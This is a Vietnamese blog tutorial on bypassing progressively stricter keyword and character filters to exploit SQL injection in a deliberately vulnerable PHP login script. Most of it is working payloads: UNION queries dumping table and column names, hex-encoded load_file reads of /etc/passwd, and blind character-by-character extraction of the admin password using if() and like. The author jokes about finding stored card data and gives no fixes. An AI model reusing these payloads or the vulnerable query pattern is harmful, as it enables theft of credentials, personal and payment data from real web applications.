Tìm Hiểu Và Khai Thác Lỗi Filtered SQL Injections Phần 1: Khai Thác Không Điều Kiện

SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...






Trong loạt nài này chúng tôi sẽ cung cấp cho bạn thêm thông tin về Filtered SQL Injections trong bài đầu tiên này chúng tôi sẽ thử nghiệm với một doạn code php sau đây

   
<?php
// DB connection
 
$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
 
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
 
if($data = @mysql_fetch_array($result))
    echo "Welcome ${data['name']}";
?>

 Như bạn có thể thấy các thông số "id" là dễ bị SQL Injection. Điều đầu tiên bạn có thể muốn làm là để xác nhận sự tồn tại của một lỗ hổng SQLI:


?id=1 and 1=0-- -
?id=1 and 1=1--


Bạn cũng có thể muốn xem tất cả tên người dùng bằng cách duyệt qua giới hạn (x) của nó

?id=1 or 1=1 LIMIT x,1-- -


đôi khi chũng ta không cần phải lấy tài khoản admin hay password hai thứu đó đôi khi không mang lại hấp dẫn cho chúng ta. Để khai thác thông tin về database thì chúng ta sử dụng câu lệnh sau:


?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
   
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

 Sau khi bạn đã tìm thấy bảng dữ liệu thú vị với bạn có thể là ccv ccn... :D  và tên cột của nó, bạn có thể bắt đầu để trích xuất dữ liệu.

?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Khoảng trắng, dấu ngoặc kép và dấu gạch chéo đã bị chặn

Tất nhiên khi khai thác lỗi nó sẽ không dễ dàng. Bây giờ chúng ta xem xét các bộ lọc sau đây đối với một số ký tự:
 
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes

Như bạn có thể thấy đoạn code injection của chúng ta có rất nhiều không gian trống(khoảng trắng) và một số dấu ngoặc kép. Ý tưởng đầu tiên sẽ được thay thế bởi không gian / * comments * / nhưng dấu gạch chéo được lọc. Thay thế khoảng trắng đều được đánh bắt bởi các bộ lọc khoảng trắng. Nhưng thật may mắn vì cú pháp MySQL linh hoạt chúng ta có thể tránh tất cả các khoảng trắng bằng cách sử dụng dấu ngoặc đơn để tách các từ khóa SQL

?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Có vẻ tốt, nhưng vẫn có một số không gian ở cuối. Vì vậy, chúng ta cũng sử dụng group_concat () vì LIMIT đòi hỏi một không gian và do đó không thể được sử dụng nữa. Vì tất cả các tên bảng trong một chuỗi có thể rất dài, chúng ta có thể sử dụng substr () hoặc mid () để hạn chế kích thước của chuỗi trở về.


?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#


 Thay vì một chuỗi trích dẫn, chúng tôi có thể sử dụng các biểu SQL hex của tên bảng được tìm thấy:

?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Vậy là chúng ta có thê khai thác vượt chặn khoảng trắng trong link khai thác thành công!

Lọc theo từ khóa

Bây giờ xem xét các bộ lọc bổ sung kiểm tra cho các từ khoá từ điển khai thác sql injection
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords


 Đối với một số từ khóa này vẫn không phải là một vấn đề lớn. Một cái gì đó hầu hết các bạn sẽ làm gì từ đầu như thường lệ là để xác nhận lỗi  SQLI có tồn tại với câu lệnh injection sau dẫn đến cùng một kết quả:


?id=1#

?id=2-1#


 Phần resultset trước đó bạn cũng có thể sử dụng một id không tồn tại như 0 chả hạn. Chúng ta có thể chọn bất cứ điều gì khác tất nhiên bởi vì nó chỉ là một giữ chỗ cho số lượng cột chính xác. Vì vậy mà không WHERE chúng ta có:

?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
   
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
 Điều này sẽ cung cấp cho chúng ta tất cả các bảng và tên cột. Nhưng toàn bộ thông tin từ group_concat () thu được sẽ rất dài bao gồm tất cả các bảng và tên cột có sẵn trong data base (bao gồm cả các cột của bảng hệ thống mysql) và số lượng thông tin  được trả về bởi group_concat () được giới hạn đến 1024 theo mặc định. Mặc dù thời gian có thể phù hợp cho tất cả các tên bảng (tổng chiều dài hệ thống bảng tối đa là khoảng 900), nó chắc chắn không phù hợp cho tất cả các tên cột có sẵn vì tất cả các tên cột hệ thống nối đã mất nhiều hơn 6000 ký tự.

Thay thế và khai thác ra sao?

Ý tưởng đầu tiên sẽ được sử dụng ORDER BY column_name DESC để có được bảng người sử dụng đầu tiên nhưng điều đó không làm việc vì ORDER BY cần một không gian, một từ khóa.

Đầu tiên chúng ta có một cái nhìn mà cơ sở dữ liệu có sẵn:

?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#


 Điều này chắc chắn sẽ phù hợp với 1.024 ký tự, nhưng bạn cũng có thể sử dụng cơ sở dữ liệu () để có được tên cơ sở dữ liệu hiện tại:

?id=(0)union(select(0),database(),(0))#


 Cho phép giả tên cơ sở dữ liệu của bạn là "thử nghiệm" mà đại diện là hex "0x74657374". Sau đó, chúng ta có thể sử dụng HAVING để có được tất cả các tên bảng kết hợp với cơ sở dữ liệu "thử nghiệm" mà không cần sử dụng WHERE:


?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Lưu ý rằng bạn phải chọn cột "table_schema" tại một trong những vị trí sử dụng cột này trong HAVING. Kể từ khi chúng ta giả định rằng các webapp được thiết kế để trở về chỉ hàng đầu tiên của tập kết quả, điều này sẽ cung cấp cho chúng ta biết tên bảng đầu tiên. Tên bảng thứ hai có thể được lấy bằng cách đơn giản nhưng không bao gồm tên của table đầu tiên tìm thấy từ kết quả:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

Chúng tôi sử dụng ký tự "&&" như thay thế cho các từ khóa lọc AND (không có urlencoding để cho dễ đọc hơn). Hãy nêu ra tên tất acr các bảng có thể có. Sau đó, bạn có thể đi về với chính xác các kỹ thuật tương tự để có được tất cả các tên cột:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Có một điều bạn cần chú ý không thể sử dụng group_concat () trong khi sử dụng HAVING



Kết Quả Trung Gian


keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)

Các ký tự như  “=” and “!=” có thể tránh được bằng cách sử dụng các keywords “like” và “rlike” hoặc dùng hàm strcmp() cùng với các từ khóa “not”:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273) and(NOT((column_name)like(0x6964)))))#

Lọc Từ Khóa Khai Thác Nâng Cao!

Bây giờ chúng ta sẽ thử một cấp cao hơn cho dạng này. Các bộ lọc cũng kiểm tra cho tất cả các từ khóa cần thiết trước đây:

if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id))
    exit('attack'); // no sqli keywords

vậy chúng ta sẽ khai thác ra sao?

Đầu tiên chúng tôi muốn kiểm tra xem tập tin có thể được đọc. load_file () trả về "null" nếu tập tin không thể được đọc, nhưng kể từ khi từ khóa "null" được lọc chúng ta không thể so sánh với "null" hoặc sử dụng các chức năng như ISNULL (). Một giải pháp đơn giản là sử dụng liên hiệp () trả về giá trị không null đầu tiên trong danh sách:

?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

Điều này sẽ trở về độ dài của nội dung tập tin hoặc - nếu các tập tin không thể được đọc - một "1" và do đó sự thành công có thể được nhìn thấy bởi các userdata chọn trong truy vấn ban đầu. Bây giờ chúng ta có thể sử dụng toán tử của CASE để đọc nội dung tập tin một cách ngẫu nhiên hàm char:

?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))
when($char)then(1)else(0)end)

Vậy là chúng ta có thể bypass khi có được đặc quyền củ file

Chặn toàn tập!

if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments


Các lỗi SQL injection vẫn còn đó nhưng nó đã unexploitable. chúng ta nhìn vào bộ lọc trên và chúng ta sẽ phải làm gì với nó?

Chúng ta không thể sử dụng cách phân tích () bởi vì nó cần một khoảng trắng và chúng ta không thể sử dụng các '1'% '0' để thêm vào. Về cơ bản, chúng ta chỉ có ký tự đặc biệt, nhưng đó thường là tất cả những gì chúng ta cần để khai thác khi bị lọc kỹ như thế này!

Chúng ta cần phải ghi nhớ rằng chúng ta đã có trong một câu lệnh SELECT và chúng ta có thể thêm một số điều kiện quy định tại khoản hiện tại WHERE. Vấn đề duy nhất với điều đó là chúng ta chỉ có thể truy cập vào các cột đã được chọn và rằng chúng ta cần phải biết tên của nó. Trong ví dụ bypass login họ sẽ không khó để đoán mặc dù Thường thì họ được đặt tên giống như tên tham số và trong hầu hết các trường hợp, các cột mật khẩu là một trong những {password, passwd, pass, pw, userpass}.

Vì vậy, làm thế nào để chúng ta truy cập khi chúng ta chưa biết bất kỳ thông tin nào? Một câu lệnh SQL Injection thông thường sẽ trông giống như sau:

    ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

Điều này sẽ trả về 1 id nếu char đầu tiên của mật khẩu là 'a'. Nếu không nó sẽ trả về một 0 đến mệnh đề WHERE. Điều này hoạt động mà không cần CHỌN một tên vụ thể khác bởi vì chúng ta không cần phải truy cập vào từng bảng khác nhau. Bây giờ các câu lệnh trick là để thể hiện hoạt động của CASE lọc này chỉ có các toán tử logic. Trong khi AND và OR được lọc, chúng ta có thể sử dụng các ký tự && và || để kiểm tra, nếu ký tự đầu tiên là 'a':


?id=1&&mid(pass,1,1)=(0x61);


Hãy sử dụng một nullbyte thay vì một comment lọc để bỏ qua việc kiểm tra cho mật khẩu đúng trong truy vấn sql gốc.


?id=2&&mid(pass,1,1)=(0x61);
?id=3&&mid(pass,1,1)=(0x61);

 Tất nhiên điều này là mất thời gian và chủ yếu là bạn chỉ quan tâm đến một mật khẩu cụ thể, ví dụ người dùng "admin" nhưng bạn không biết id của nó là gì?. Về cơ bản chúng tôi muốn một cái gì đó như:


 ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');


 câu lệnh tấn công cần có đầu tiên 

 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;

Điều đó không làm việc vì "OR 1 = 1" lúc đầu là mạnh hơn "and"s để chúng ta sẽ luôn luôn nhìn thấy tên của các mục nhập đầu tiên trong bảng (nó được rõ ràng hơn khi bạn viết "OR 1 = 1 "vào cuối). Vì vậy, những gì chúng ta làm là chúng ta so sánh các id cột id cột chính để làm kiểm tra của chúng tôi cho tên và mật khẩu độc lập của tất cả các id:


 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;

 Nếu ký tự của mật khẩu được đoán một cách chính xác, chúng tôi sẽ xem "wellcome ádmin" - nếu không được hiển thị thì không có gì. Với điều này, chúng ta đã bỏ qua thành công các bộ lọc.

 lọc tất cả mọi thứ và thậm chí nhiều hơn


Hãy nhìn đoạn code sau đây:

f(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id))
    exit('attack'); // no boolean operators
Như vậy, các ký tự "=" không có vấn đề như đã đề cập ở trên, chúng ta chỉ cần sử dụng "like" hoặc "regex" v.v .:

?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);
kí tự "|" thậm chí không cần thiết. Nhưng những gì về các ký tự "&" thì sao? Chúng ta có thể kiểm tra tên  ='admin' và cho các ký tự mật khẩu mà không cần sử dụng các toán tử logic?

Sau khi khám phá tất cả các loại của các chức năng và toán tử so sánh cuối cùng tôi đã tìm thấy các chức năng đơn giản nếu (). Về cơ bản nó hoạt động giống như các cấu trúc Case nhưng ngắn hơn rất nhiều và lý tưởng cho việc SQL obfuscation hoặc bộ lọc.


?id=if((name)like(0x61646D696E),1,0);

Điều này sẽ trả kết quả 1 nếu username là admin và 0 nếu ngược lại. Bây giờ chúng ta thực sự muốn làm việc với id của admin, chúng tôi quay trở lại id của mình thay vì 1:


?id=if((name)like(0x61646D696E),id,0);


Bây giờ là phần khó khăn là không sử dụng hoặc AND, &&, nhưng chúng ta cần kiểm tra các ký tự mật khẩu.


?id=
if(
  // if (it gets true if the name='admin')
    if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
    if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
    0
);


 ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);


 Phần kết luận

SQL là không linh động như Javascript, đó là chắc chắn. Sự khác biệt chính là bạn không thể làm khó hiểu từ khóa và rối loạn các bộ lọc ngăn chặn cuộc tấn công. kỹ thuật khác nhau cũng đã chỉ ra rằng việc phát hiện và ngăn chặn SQL Injection dựa trên các từ khóa là không đáng tin cậy và khai thác những chỉ là một vấn đề thời gian.

Nếu bạn có bất kỳ cách nào khác để bỏ qua các bộ lọc được mô tả phía trên xin vui lòng để lại nhận xét.

Share on Google Plus

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!

0 nhận xét:

Post a Comment